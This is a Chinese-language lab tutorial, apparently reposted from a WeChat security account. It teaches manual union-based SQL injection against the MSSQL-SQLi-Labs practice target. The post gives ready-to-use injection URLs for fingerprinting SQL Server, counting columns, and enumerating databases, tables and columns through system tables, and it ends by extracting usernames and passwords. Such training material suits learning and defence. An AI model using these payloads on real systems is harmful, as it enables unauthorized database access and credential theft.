注一下入 | MsSql数据库搞一下子?(一)

admin 2023年12月17日20:28:41评论24 views字数 5200阅读17分20秒阅读模式

注一下入 | MsSql数据库搞一下子?(一)

0x00 文章背景
搞点注入的小文章水一水吧,让大家知道我还活着,搞点不一样的,今天先来Mssql(又名:SqlServer),这是第一篇。
我们会用到一些环境来运行并测试,需要的内容给大家列一下。
MsSql-sqli-labs靶场(基于SqlServer的注入靶场):
下载地址:https://github.com/Larryxi/MSSQL-SQLi-Labs/archive/refs/heads/master.zip
其次,需要运行ASP的环境,当然我这里有一个包。大家可以选择在Windows上开启IIS服务,或者在公众号获取压缩包压缩包里面有一个EXE,可以执行拉起一个IIS服务,运行后随机开启端口并在当前目录下运行,同时会在浏览器里自动访问目标地址。
公众号回复:靶场,获取下载链接
公众号回复:解压,获取解压密码
注一下入 | MsSql数据库搞一下子?(一)
接着就是SqlServer数据库了,这个没办法,大家自己在电脑上装一下吧,建议在虚拟机中安装为佳。然后配置目录下的config.asp,不然访问不到数据库。
注一下入 | MsSql数据库搞一下子?(一)
这里有一个坑,在安装前你需要手动在SqlServer数据库中新建一个test数据库,否则靶场会安装失败,如下图所示:
注一下入 | MsSql数据库搞一下子?(一)
注一下入 | MsSql数据库搞一下子?(一)
添加了 test 数据库后,再重新安装,就没问题了。
注一下入 | MsSql数据库搞一下子?(一)
0x01 基础了解
1、怎么判断目标系统用的什么数据库?
答:初步判断可通过查看目标系统脚本语言来判断,常规的组合一般为:PHP+MySQL(3306)也有小部分用的是PostGresql(5432)、ASP或者.net用的是SqlServer(1433)、JSP的一般为Oracle(1521)也有一小部分用的MySQL的组合。

2、SqlServer注入时有什么要注意的吗?
答:在SqlServer中的的注释符为:--以及/**/,不支持#注释符。

3、还有什么要说的吗?
#简单说几个SqlServer的函数: select @@version              --查询版本 select user                   --查询用户 select user_name() select system_user select current_user select db_name()/db_name(0)   --查询库名
4、最后,再补充一点SqlServer的相关知识:
SqlServer有多个安装自带的系统数据表,我们需要了解以下两个表:
sysobjects:记录了数据库中所有表,常用字段为id、name和xtype。 syscolumns:记录了数据库中所有表的字段,常用字段为id、name和xtype。 
其中id为标识,name为对应的表名和字段名,xtype为所对应的对象类型。一般使用两个类型的表。一个为'U',用户所创建;一个为'S',系统所创建。其他类型如下:
对象类型:AF = 聚合函数 (CLR) C = CHECK 约束 D = DEFAULT(约束或独立) FN = SQL 标量函数 FS = 程序集 (CLR) 标量函数 FT = 程序集 (CLR) 表值函数 IF = SQL 内联表值函数 IT = 内部表 P = SQL 存储过程 PC = 程序集 (CLR) 存储过程 PG = 计划指南 PK = PRIMARY KEY 约束 R = 规则(旧式,独立) RF = 复制筛选过程 S = 系统基表 SN = 同义词 SQ = 服务队列TA = 程序集 (CLR) DML 触发器 TF = SQL 表值函数 TR = SQL DML 触发器 U = 表(用户定义类型) UQ = UNIQUE 约束 V = 视图 X = 扩展存储过程
获取下一条数据
mssql数据库中没有limit排序获取字段,但是可以使用top 1来显示数据中的第一条数据,后面与Oracle数据库注入一样,使用<>not in 来排除已经显示的数据,获取下一条数据。
但是与Oracle数据库不同的是使用not in的时候后面需要带上(''),类似数组,也就是不需要输入多个not in来获取数据,这可以很大程序减少输入的数据量,如下:
#使用<>获取数据    http://192.168.4.223:59856/new_list.asp?id=-2 union all select top 1 null,id,name,null from dbo.syscolumns where id='5575058' and name<>'id' and name<>'username'--   #使用not in获取数据    http://192.168.4.223:59856/new_list.asp?id=-2 union all select top 1 null,id,name,null from dbo.syscolumns where id='5575058' and name not in ('id','username')--  
注一下入 | MsSql数据库搞一下子?(一)
0x02 开始注入
判断是否存在注入
添加单引号,发现一个单引号报错:
注一下入 | MsSql数据库搞一下子?(一)
两个单引号时正常,这里可以直接用报错注入,但我不,下次再写报错注入的:
注一下入 | MsSql数据库搞一下子?(一)
判断是否为SqlServe
sysobjectsSqlServer独有的数据表,如果页面正常,则说明是SqlServer的数据库:
http://192.168.4.223:59856/less-1.asp?id=1' and (select count(*) from sysobjects)>0--  
注一下入 | MsSql数据库搞一下子?(一)
判断列数
判断4列时超出范围,3列时正常,说明表中为3列:
http://192.168.11.132:59856/less-1.asp?id=1' order by 3-- 
注一下入 | MsSql数据库搞一下子?(一)
注一下入 | MsSql数据库搞一下子?(一)
判断回显位
经测试,2和3的位置有回显,可进一步测试:
http://192.168.11.132:59856/less-1.asp?id=-1' union select 1,2,3--  
注一下入 | MsSql数据库搞一下子?(一)
获取库名
使用db_name()可获取库名,也可采用在函数中添加数字来轮询,获取所有的库名:
http://192.168.11.132:59856/less-1.asp?id=-1' union select 1,db_name(),3--   http://192.168.11.132:59856/less-1.asp?id=-1' union select 1,db_name(0),3--   http://192.168.11.132:59856/less-1.asp?id=-1' union select 1,db_name(1),3--   http://192.168.11.132:59856/less-1.asp?id=-1' union select 1,db_name(2),3--   http://192.168.11.132:59856/less-1.asp?id=-1' union select 1,db_name(3),3--  
注一下入 | MsSql数据库搞一下子?(一)
注一下入 | MsSql数据库搞一下子?(一)
获取表名
利用sysobjects系统表来获取内容,设置xtype类型为U,也就是用户的表:
http://192.168.11.132:59856/less-1.asp?id=-1' union select 1,id,name from dbo.sysobjects where xtype='U'--   
注一下入 | MsSql数据库搞一下子?(一)
继续获取下一张数据表
前面介绍中我们说过了,可以使用<>not in 来排除已经显示的数据,其意思为不等于,用来做排除,在手工注入中可能需要多个and来连接条件。
通过上述操作,我们已经知道了第一个表的表名为emails,所以我们首先就要排除它。我门可以利用name这一列进行排除,也可以使用id列进行排除:
#使用<>来排除,获取下一表名  http://192.168.230.131:59856/less-1.asp?id=-1' union select 1,id,name from dbo.sysobjects where xtype='U' and name <> 'emails' --   #通过此方式逐步排除,获取到users表  http://192.168.230.131:59856/less-1.asp?id=-1' union select 1,id,name from dbo.sysobjects where xtype='U' and name <> 'emails' and name <> 'uagents' and name <> 'referers' and name <> 'sqlmapoutput '--    

#或者通过id这一列来做排除      http://192.168.230.131:59856/less-1.asp?id=-1' union select 1,id,name from dbo.sysobjects where xtype='U' and id <> 21575115 --   
注一下入 | MsSql数据库搞一下子?(一)
#或者通过not in 来进行排除,后续同理,逐步排除   http://192.168.230.131:59856/less-1.asp?id=-1' union select 1,id,name from dbo.sysobjects where xtype='U' and id not in('21575115') --    http://192.168.230.131:59856/less-1.asp?id=-1' union select 1,id,name from dbo.sysobjects where xtype='U' and name not in('uagents ') --   
注一下入 | MsSql数据库搞一下子?(一)
获取列名
通过前面我们已经知道了全部的表名,通过猜测可得,有敏感数据的部分大致会在users表中。
接下来获取列名,那么我们就要利用syscolumns系统表来获取,这里要注意的一点事,前面查询表名的时候,我们可以利用name作为条件来进行查询,但是在syscolumns表里没有name这一列,所以我们只能用id作为条件来查询
#获取users表中的第一列  http://192.168.230.131:59856/less-1.asp?id=-1' union select 1,id,name from dbo.syscolumns where id=2105058535--  

注一下入 | MsSql数据库搞一下子?(一)

#获取第二列(这里的连接条件我们就不能再用id来作为条件了,用查询出来的name作为条件,已经得到第一列的列名为id,我们需要排除这一列)   http://192.168.230.131:59856/less-1.asp?id=-1' union select 1,id,name from dbo.syscolumns where id='2105058535' and name <> 'id'--  

#获取第三列   http://192.168.230.131:59856/less-1.asp?id=-1' union select 1,id,name from dbo.syscolumns where id='2105058535' and name <> 'id' and name <> 'password'--  
注一下入 | MsSql数据库搞一下子?(一)
注一下入 | MsSql数据库搞一下子?(一)
这里还有一个点,在SqlServer中也存在infromation_schema,里面存放了表名与列名的内容,但是需要添加top 1,以为每次查询只返回第一条值。
#获取第一个表,后续通过添加条件列举排除,以此来逐个获取  http://192.168.230.131:59856/less-1.asp?id=-1' union select 1,2,(select top 1 table_name from information_schema.tables)--   http://192.168.230.131:59856/less-1.asp?id=-1' union select 1,2,(select top 1 table_name from information_schema.tables where table_name <> 'emails')--  http://192.168.230.131:59856/less-1.asp?id=-1' union select 1,2,(select top 1 table_name from information_schema.tables where table_name <> 'emails' and table_name<>'uagents' and table_name<>'referers' and table_name<>'sqlmapoutput')-- 
注一下入 | MsSql数据库搞一下子?(一)
获取数据
通过前面内容,我们已经知道用户数据表是users,其中的usernamepassword列是我们可以尝试利用的:
#获取第一条数据  http://192.168.230.131:59856/less-1.asp?id=-1' union select 1,username,password from users--   #通过条件排除,获取第二条数据  http://192.168.230.131:59856/less-1.asp?id=-1' union select 1,username,password from users where username<>'admin'-- 
注一下入 | MsSql数据库搞一下子?(一)
注一下入 | MsSql数据库搞一下子?(一)
(
END
)

原文始发于微信公众号(犀利猪安全):注一下入 | MsSql数据库搞一下子?(一)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月17日20:28:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   注一下入 | MsSql数据库搞一下子?(一)https://cn-sec.com/archives/2310873.html

发表评论

匿名网友 填写信息